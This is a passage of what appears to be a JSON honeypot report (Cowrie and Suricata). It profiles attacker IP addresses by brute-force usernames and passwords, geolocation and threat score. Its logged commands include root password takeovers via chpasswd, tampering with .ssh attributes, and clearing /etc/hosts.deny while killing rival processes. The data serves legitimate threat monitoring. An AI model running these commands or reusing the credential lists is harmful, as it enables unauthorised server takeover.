      "last_seen": "2026-04-29T22:24:20.266Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "ubuntu",
        "user",
        "345gs5662d34",
        "minecraft",
        "root",
        "test",
        "appserver",
        "deployer",
        "developers",
        "ec2-user",
        "elasticsearch",
        "ftpuser",
        "git",
        "newuser",
        "oracle",
        "postgres"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "142536",
        "147258369",
        "Admin123",
        "P@ssw0rd",
        "abc123",
        "abc123456",
        "admin",
        "admin1357",
        "admin2016",
        "debian@123",
        "developers",
        "english",
        "letmein",
        "pass@123",
        "password123",
        "password1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"142536\\n2dw9JtrlB74A\\n2dw9JtrlB74A\\n\"|passwd",
        "echo \"test11\\nYkZfcOs8UBNq\\nYkZfcOs8UBNq\\n\"|passwd",
        "echo -e \"142536\\n2dw9JtrlB74A\\n2dw9JtrlB74A\"|passwd|bash",
        "echo -e \"test11\\nYkZfcOs8UBNq\\nYkZfcOs8UBNq\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Vaxjo",
      "asn": 35100,
      "as_org": "Patrik Lagerman",
      "threat_score": 37.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 353,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T21:45:30.779000+00:00",
        "last_seen_30d": "2026-04-29T22:25:29.823000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 281,
        "Suricata": 72
      }
    },
    "178.211.130.83": {
      "attack_count": 266,
      "first_seen": "2026-04-23T04:57:33.262Z",
      "last_seen": "2026-04-23T05:22:09.608Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "steam",
        "backoffice",
        "frappe",
        "git",
        "james",
        "jorge",
        "msuser",
        "nino",
        "oracle",
        "postgres",
        "socks",
        "swapna",
        "test",
        "user",
        "user1",
        "user11"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "54321",
        "654321",
        "8ik,9ol.",
        "Asdf1234!@#$",
        "Chen@123",
        "DEPLOY",
        "Oracle12345",
        "PASSW0RD@123",
        "Postgres05",
        "Reza@123",
        "backoffice",
        "frappe2026!",
        "hpinvent",
        "james",
        "msuser",
        "newpass",
        "nino"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:dYCwO4ZT7uJG\"|chpasswd|bash",
        "echo \"root:lEQNgTs81o6w\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 48678,
      "as_org": "PENTECH BILISIM TEKNOLOJILERI SANAYI VE TICARET LIMITED SIRKETi",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 331,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T04:57:33.262000+00:00",
        "last_seen_30d": "2026-04-23T05:23:13.776000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 266,
        "Suricata": 65
      }
    },
    "165.154.6.56": {
      "attack_count": 263,
      "first_seen": "2026-04-19T10:51:16.267Z",
      "last_seen": "2026-04-19T11:31:23.392Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "deploy",
        "ftpuser",
        "proxyuser",
        "app",
        "cyber",
        "john",
        "oracle",
        "postgres",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "00local22",
        "1qaz#EDC",
        "Admin@2025",
        "Frappe14!",
        "Huawei@12#$",
        "Oracle4",
        "QWERTYUI12345678",
        "Qazwsx2024@#",
        "Qwer1234",
        "Redhat@123",
        "Xz123456",
        "app@123",
        "changeme",
        "cyber",
        "frappe06!",
        "ftpuser25!",
        "matrimonio",
        "pass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1qaz#EDC\\n4SzayLIMnCwX\\n4SzayLIMnCwX\\n\"|passwd",
        "echo \"qwerty\\nTzuhSHSDhkoq\\nTzuhSHSDhkoq\\n\"|passwd",
        "echo -e \"1qaz#EDC\\n4SzayLIMnCwX\\n4SzayLIMnCwX\"|passwd|bash",
        "echo -e \"qwerty\\nTzuhSHSDhkoq\\nTzuhSHSDhkoq\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T10:51:16.267000+00:00",
        "last_seen_30d": "2026-04-19T11:32:28.181000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 65
      }
    },
    "142.163.18.204": {
      "attack_count": 262,
      "first_seen": "2026-04-20T12:09:51.341Z",
      "last_seen": "2026-04-20T12:46:37.515Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "testuser",
        "claude",
        "dev",
        "ftpuser",
        "odoo",
        "omm",
        "sg",
        "steam",
        "test",
        "testuser01",
        "testuser1",
        "user04",
        "user1",
        "user8",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11223344",
        "123",
        "1q2w3e",
        "1qaz@WSX",
        "Ab123456",
        "Ab123456@",
        "Cq123456",
        "Qweasd!@#",
        "Qwerty78",
        "Qwertyui12345678",
        "Root2026@#",
        "a123456Z",
        "admin",
        "admin123456!",
        "claude25!",
        "dev22",
        "odoo123",
        "omm@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1q2w3e\\nu2rOu3TdfxXs\\nu2rOu3TdfxXs\\n\"|passwd",
        "echo \"root:VYzVTMy6ZB3F\"|chpasswd|bash",
        "echo -e \"1q2w3e\\nu2rOu3TdfxXs\\nu2rOu3TdfxXs\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Middle Sackville",
      "asn": 577,
      "as_org": "Bell Canada",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T12:09:51.341000+00:00",
        "last_seen_30d": "2026-04-20T12:47:40.687000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 65
      }
    },
    "45.66.228.255": {
      "attack_count": 238,
      "first_seen": "2026-04-03T03:44:28.864Z",
      "last_seen": "2026-04-13T22:15:42.886Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456*",
        "@dm1n!",
        "Aa147258..",
        "Aa310310",
        "Hu@123456",
        "P@55w0rd1234!",
        "Passw@rd123",
        "Password17",
        "Qaz@12345678",
        "Toor@2025",
        "Wl123456789",
        "ZAQ1xsw2",
        "bell1234",
        "dang",
        "hb@123456",
        "idc202499!@#",
        "lihao023..",
        "qazokm123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:QOIlV9qUBjnF\"|chpasswd|bash",
        "echo \"root:tTkHIiGv5nx5\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 215439,
      "as_org": "Play2go International Limited",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 9.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 302,
        "days_active_30d": 11,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T03:44:28.864000+00:00",
        "last_seen_30d": "2026-04-13T22:16:47.248000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 238,
        "Suricata": 63,
        "Honeytrap": 1
      }
    },
    "103.43.191.43": {
      "attack_count": 236,
      "first_seen": "2026-04-27T03:12:00.529Z",
      "last_seen": "2026-04-27T03:55:46.576Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "oroot"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#QWE123qwe",
        "0racle123",
        "1234.abcABC",
        "1qa2ws",
        "Abc12345",
        "Electronic@123",
        "RootUser@2024",
        "Virtual@123",
        "abc_123456",
        "action863467",
        "cnview.com.c1",
        "dabU",
        "kafka",
        "oroot",
        "p@ssw0rdp@ssw0rd",
        "qwe55555",
        "tarzan",
        "test3333"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:HulHReqQpDuM\"|chpasswd|bash",
        "echo \"root:m7TZbyQN5Vrs\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 139021,
      "as_org": "West263 International Limited",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T03:12:00.529000+00:00",
        "last_seen_30d": "2026-04-27T03:56:51.738000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "13.81.183.29": {
      "attack_count": 236,
      "first_seen": "2026-04-02T22:45:44.904Z",
      "last_seen": "2026-04-02T23:55:50.515Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234568",
        "1q@w3e$r",
        "20260920",
        "4858",
        "880406",
        "9ijn8uhb",
        "A1s2d3f4g5",
        "Abc.12345",
        "Admin@007",
        "Jupiter2025",
        "Password1234567890",
        "Qwer123456",
        "fuck0ff",
        "gold123",
        "pragma",
        "qweQWE123!@#",
        "sam123",
        "test12346"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:8GyggJJalEYk\"|chpasswd|bash",
        "echo \"root:fOHELGLDXI29\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T22:45:44.904000+00:00",
        "last_seen_30d": "2026-04-02T23:56:51.774000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "27.79.42.127": {
      "attack_count": 212,
      "first_seen": "2026-04-12T19:18:41.132Z",
      "last_seen": "2026-04-12T19:31:59.779Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "support",
        "test",
        "auto",
        "ftp",
        "george",
        "helpdesk",
        "installer",
        "joro",
        "kim",
        "library",
        "master",
        "matrix",
        "newadmin",
        "office",
        "operator",
        "oracle",
        "psybnc",
        "squid"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "12345",
        "123456",
        "abc123",
        "abcd1234",
        "abcdefg",
        "admin01",
        "calvin",
        "default",
        "ftp",
        "george",
        "helpdesk",
        "installer",
        "ipscan",
        "joro",
        "kim123",
        "library",
        "libreelec",
        "lifesize"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 309,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T19:18:41.132000+00:00",
        "last_seen_30d": "2026-04-12T19:33:02.760000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 97
      }
    },
    "154.125.231.127": {
      "attack_count": 195,
      "first_seen": "2026-04-08T02:19:47.188Z",
      "last_seen": "2026-04-08T03:15:29.813Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "socks",
        "tester1",
        "bot",
        "claude",
        "ftp-test",
        "sammy",
        "steam",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1024",
        "123",
        "123123",
        "1234",
        "123456",
        "AAaa123123",
        "Aa123456*",
        "Apple2025",
        "Bot17!",
        "Claude",
        "P@ssw0rd123@",
        "Qwerty123123",
        "Steam123!",
        "ZAQ!2wsx2018!!",
        "a123456789!",
        "qazwsx111!@"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nxq17h8Uu4Bkj\\nxq17h8Uu4Bkj\\n\"|passwd",
        "echo -e \"123456\\nxq17h8Uu4Bkj\\nxq17h8Uu4Bkj\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 274,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T02:19:47.188000+00:00",
        "last_seen_30d": "2026-04-08T03:16:35.454000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 195,
        "Suricata": 79
      }
    },
    "103.171.85.115": {
      "attack_count": 194,
      "first_seen": "2026-04-11T12:29:37.545Z",
      "last_seen": "2026-04-11T13:26:25.884Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "user",
        "mohamed",
        "345gs5662d34",
        "admin",
        "deploy",
        "dev",
        "odoo",
        "oracle",
        "postgres",
        "samr",
        "test123",
        "testuser",
        "vpn"
      ],
      "passwords_attempted": [
        "!QAZ2wsx",
        "321test",
        "3245gs5662d34",
        "345gs5662d34",
        "ABC123",
        "Asdf1234",
        "Dev23!",
        "P@ssw0rd",
        "Pass2025!",
        "QAZwsx123456",
        "Qwertyuiop1234567890",
        "Root999!!",
        "Vpn2026",
        "abc123",
        "ddDD112233",
        "github",
        "mohamed",
        "odoo@123456",
        "oracle7",
        "pass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"mohamed\\n1jH4R753sOam\\n1jH4R753sOam\\n\"|passwd",
        "echo -e \"mohamed\\n1jH4R753sOam\\n1jH4R753sOam\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T12:29:37.545000+00:00",
        "last_seen_30d": "2026-04-11T13:27:33.647000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 63
      }
    },
    "104.248.243.69": {
      "attack_count": 194,
      "first_seen": "2026-04-04T01:45:45.903Z",
      "last_seen": "2026-04-04T02:42:43.898Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "postgres",
        "ubuntu",
        "345gs5662d34",
        "ali",
        "amule",
        "bot",
        "carlos",
        "dev",
        "ftpuser",
        "server",
        "tester",
        "user"
      ],
      "passwords_attempted": [
        "!QAZ2wsx!@#",
        "1qa2ws3ed",
        "3245gs5662d34",
        "345gs5662d34",
        "3edc4rfv.",
        "A123123A",
        "AAzz123",
        "Ali04!",
        "Bot18",
        "Ftpuser07",
        "QWER2024!",
        "Qazwsx111111@",
        "Root01!@",
        "User14",
        "Welcome2026!",
        "abc12345@",
        "abc123abc123",
        "amule",
        "carlos123",
        "dev29!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"salesboom\\nndjZX4dbVJJW\\nndjZX4dbVJJW\\n\"|passwd",
        "echo -e \"salesboom\\nndjZX4dbVJJW\\nndjZX4dbVJJW\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T01:45:45.903000+00:00",
        "last_seen_30d": "2026-04-04T02:43:52.153000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 63
      }
    },
    "203.116.129.55": {
      "attack_count": 194,
      "first_seen": "2026-04-03T14:51:32.879Z",
      "last_seen": "2026-04-03T15:52:34.636Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "test",
        "345gs5662d34",
        "admin",
        "cs2server",
        "grafana",
        "n8n",
        "oracle",
        "postgres",
        "teamspeak",
        "testuser",
        "user1",
        "userftp",
        "vpnuser"
      ],
      "passwords_attempted": [
        "12345678",
        "12345",
        "123456_asdf",
        "1QAZ2wsx@#",
        "23452345",
        "3245gs5662d34",
        "345gs5662d34",
        "888888",
        "Aa2024",
        "Qwe#",
        "Test1@",
        "ZZaa112233",
        "abc.123",
        "abc123!@",
        "admin.2026",
        "cs2server",
        "grafana",
        "n8n1234",
